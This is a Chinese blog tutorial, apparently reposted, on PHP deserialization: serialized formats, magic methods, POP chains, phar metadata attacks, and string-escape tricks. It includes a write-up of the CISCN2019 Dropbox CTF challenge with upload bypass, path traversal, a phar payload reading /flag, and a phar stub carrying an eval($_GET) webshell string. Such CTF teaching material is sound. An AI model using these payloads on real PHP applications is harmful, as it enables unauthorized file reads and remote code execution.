文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

PHP反序列化

2023-09-01 17:27

关注

文章目录

简介

php序列化的过程就是把数据转化成一种可逆的数据结构,逆向的过程就叫做反序列化。
php将数据序列化和反序列化会用到两个函数:
serialize 将对象格式化成有序的字符串。
unserialize 经字符串还原成原来的对象。
序列化的目的是方便数据的传输和储存。

序列化得到的结果:

a:3:{i:0;s:4:"anan";i:1;s:3:"shi";i:2;s:2:"zi";}a:array代表是数组,后面的3说明有三个属性i:代表是整型数据int,后面的0是数组下标s:代表是字符串,后面的4是因为anan长度为4    

而如果变量前是protected,则会在变量名前加上\x00*\x00,private则会在变量名前加上\x00类名\x00,输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式,如下:

class test{    protected  $a;    private $b;    function __construct(){$this->a = "anan";$this->b="lan";}    function happy(){return $this->a;}}$a = new test();echo serialize($a);echo urlencode(serialize($a));?>

输出则会导致不可见字符\x00的丢失

O:4:"test":2:{s:4:" * a";s::"anan";s:7:" test b";s:3:"lan";}

反序列化中常见的魔术方法:

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

POP链构造和Phar://

为什么要用POP链:做题过程中没有那么多的魔术方法可以绕过,审计代码的过程中只有普通的方法,但是不能直接利用,这是需要通过POP链联系起来。
phar://协议就是数据流包装器

class hello{var $a = '';}@unlink('test.phar');$phar=new Phar('test.phar');$phar->startBuffering();$phar->setStub('');$b = new hello();$b->a = '@eval($_GET[1]);';$phar->setMetadata($b);$phar->addFromString("test.txt","test");$phar->stopBuffering();?>

会生成test.phar

题目[CISCN2019 华北赛区 Day1 Web1]Dropbox

打开后是一个登录框,注册登录发现可以上传文件,尝试上传,只能上传图片文件
在这里插入图片描述
抓包后修改Content-Type:image/jepg后上传成功
在这里插入图片描述
这里可以下载删除,可以利用这个点抓包,尝试读取文件
在这里插入图片描述
尝试查看flag,文件不存在,尝试下载源码,发现还是文件不存在,这里是目录跳转所以不存在
尝试跳转
在这里插入图片描述
可以下载需要的文件,index.php,login.php,upload.php,download.php,delete.php,class.php
进行代码审计,发现class.php中Filelist类中的__call()魔术方法

__call() //在对象上下文中调用不可访问的方法时触发

index.php中函数没有执行会执行__call()魔术方法
在这里插入图片描述
在这里插入图片描述
index.php中的Name和Size方法没有执行,去class.php中查看,File类中有close()方法,读取文件,可以进行文件包含。
POP链构造

a = new FileList()(可以通过Phar://完成)
a - >close() => a - >call(close)

a - >file = new File (‘/flag’)
a - >file - >close()

这里的close()方法需要在class.php中,有User类,其中__destruct()魔术方法,调用close()方法
在这里插入图片描述
构建payload

class User {    public $db;    function __construct()    {        $this->db = new Filelist();    }}class FileList {    private $files;    private $results;    private $funcs;        function __construct()    {       $this->files=[new File('/flag.txt')];       $this->results=[];       $this->funcs=[];    }}class File {    public $filename;    function __construct()    {       $this->filename=$name;    }}$a = new User();$phar=new Phar('test.phar');$phar->startBuffering();$phar->setStub('');$phar->setMetadata($a);$phar->addFromString("test.txt","test");$phar->stopBuffering();?>

生成文件,抓包上传,通过抓包来读取想要的文件
在这里插入图片描述
需要注意的是,在download.php中,限制了访问的目录,所以只能在delete.php中利用payload
在这里插入图片描述

字符串逃逸

过滤后字符变多

function change($str){    return str_replace("x","xx",$str);}$name = $_GET['name'];$age = "I am 11";$arr = array($name,$age);echo "反序列化字符串:";var_dump(serialize($arr));echo "
"
;echo "过滤后:";$old = change(serialize($arr));$new = unserialize($old);var_dump($new);echo "
此时,age=$new[1]"
;?>

这里就是把反序列化后的一个x替换成为两个

我们传入name=maoxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}
";i:1;s:6:"woaini";}这一部分一共二十个字符
由于一个x会被替换为两个,我们输入了一共20个x,现在是40个,多出来的20个x其实取代了我们的这二十个字符";i:1;s:6:"woaini";},从而造成";i:1;s:6:"woaini";}的溢出,而"闭合了前串,使得我们的字符串成功逃逸,可以被反序列化,输出woaini,最后的;}闭合反序列化全过程导致原来的";i:1;s:7:“I am 11”;}"被舍弃,不影响反序列化过程

过滤后字符变少

function change($str){    return str_replace("xx","x",$str);}$arr['name'] = $_GET['name'];$arr['age'] = $_GET['age'];echo "反序列化字符串:";var_dump(serialize($arr));echo "
"
;echo "过滤后:";$old = change(serialize($arr));var_dump($old);echo "
"
;$new = unserialize($old);var_dump($new);echo "
此时,age="
;echo $new['age'];

就是把反序列化后的xx替换成为一个x
就是前面少了一半,导致后面的字符被吃掉,从而执行了我们后面的代码,这部分是age序列化后的结果

s:3:"age";s:28:"11";s:3:"age";s:6:"woaini";}"

由于前面是40个x所以导致少了20个字符,所以需要后面来补上,";s:3:“age”;s:28:"11这一部分刚好20个,后面由于有"闭合了前面因此后面的参数就可以由我们自定义执行。
参考PHP反序列化总结
PHP序列化和反序列化

来源地址:https://blog.csdn.net/qq_63267612/article/details/129266499

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     807人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     351人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     314人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     433人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     221人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯